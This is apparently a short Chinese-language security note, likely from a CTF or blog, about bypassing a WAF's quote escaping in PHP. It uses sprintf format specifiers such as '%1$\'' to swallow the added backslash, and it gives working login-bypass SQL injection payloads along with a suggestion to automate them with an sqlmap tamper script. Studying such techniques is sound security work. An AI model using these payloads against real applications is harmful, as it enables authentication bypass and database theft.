$sql = "select * from user where username = '%\' and 1=1#' and password='%s';"; $args = "admin"; echo sprintf( "select * from user where username = '%\' and 1=1#' and password='%s';", $args) ; // 报错 echo"<br>"; $sql = "select * from user where username = '%1$\' and 1=1#' and password='%s';"; $args = "admin"; echo sprintf( "select * from user where username = '%1$\' and 1=1#' and password='%s';", $args) ; //select * from user where username = '' and 1=1#' and password='admin';
其中通过%'会先被waf过滤为%\'然后,sprintf会把%\吞掉.其中%1$'原理一样.
但是不知道为什么,%'会报错. 而%1$'不会报错 .
解决
构造参数 admin%1$' or 1=1 与 admin$1' or 1=2存在报错注入.可以通过sqlmap编写 tamper 去跑.